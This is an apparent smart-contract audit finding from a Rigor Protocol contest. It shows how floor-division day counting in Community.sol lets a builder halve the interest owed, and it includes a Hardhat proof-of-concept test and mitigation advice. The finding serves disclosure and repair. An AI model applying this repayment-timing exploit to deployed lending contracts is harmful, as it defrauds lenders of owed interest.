Rigor Protocol contest - smiling_heretic's results

Lines of code

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Community.sol#L685-L686 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Community.sol#L846-L847

Vulnerability details

Impact

Project bulder can get away with paying the community owner only half of the agreed upon interest on his debt.

Theoretically, the community owner can defend himself from this exploit, if he's aware of this bug, but chances are that he won’t be aware.

Proof of Concept

Here is the edited version of a test case from the file test/utils/communityTests.ts:

    // project-1
    it('returnToLender(): should accrue interest', async () => {
      const smallRepayAmount = 1;
      const communityOwner = (await communityContract.communities(1)).owner;

      // exploit
      await mineBlock(lendingTimestamp + 2 * ONE_DAY - 50);
      await mockDAIContract.mock.transferFrom
        .withArgs(signers[0].address, communityOwner, smallRepayAmount)
        .returns(true);
      const tx1 = await communityContract
        .connect(signers[0])
        .repayLender(1, projectAddress, smallRepayAmount);
      await tx1.wait();

      await mineBlock(lendingTimestamp + 4 * ONE_DAY - 100);
      await mockDAIContract.mock.transferFrom
        .withArgs(signers[0].address, communityOwner, smallRepayAmount)
        .returns(true);
      const tx2 = await communityContract
        .connect(signers[0])
        .repayLender(1, projectAddress, smallRepayAmount);
      await tx2.wait();

      // check that after 4 days...
      await mineBlock(lendingTimestamp + 4 * ONE_DAY);
      // ...it accrued only 2 days worth of interest
      const numDays = 2;
      const totalInterest = Math.floor(
        (lendingPrincipal * apr * numDays) / 365000,
      );
      const amountToReturn = lendingPrincipal + totalInterest;
      const [
        _amountToReturn,
        _lendingPrincipal,
        _totalInterest,
        _unclaimedInterest,
      ] = await communityContract.returnToLender(1, projectAddress);

      expect(_lendingPrincipal).to.equal(lendingPrincipal);
      expect(_amountToReturn).to.equal(amountToReturn - 2 * smallRepayAmount);
      expect(_totalInterest).to.equal(totalInterest - 2 * smallRepayAmount);
      expect(_unclaimedInterest).to.equal(0);
    });

The idea here is that because of the floor division by number of seconds in a day to get _noOfDays, the interest increases only after a full day passes. However, project.lastTimestamp is updated simply to current time in claimInterest.

Because of this, if the builder triggers claimInterest after just a bit less than two days, then interest is calculated still with _noOfDays == 1. However, project.lastTimestamp is increased by nearly two days so one day gets skipped. Now he just needs to repeat this every (nearly) two days.

The community owner can defend himself by triggering claimInterest every day, just after interest accrued.

If _noOfDays < 1, then the timestamp won’t be updated because of this line of code, so the builder can’t further reduce the interest to zero by triggering claimInterest every < 24 hours.

Tools Used

Hardhat

Recommended Mitigation Steps

Use number of seconds instead of number of days in the interest calculation.

Alternatively, increase project.lastTimestamp by correct number of full days instead of simply setting it to current time.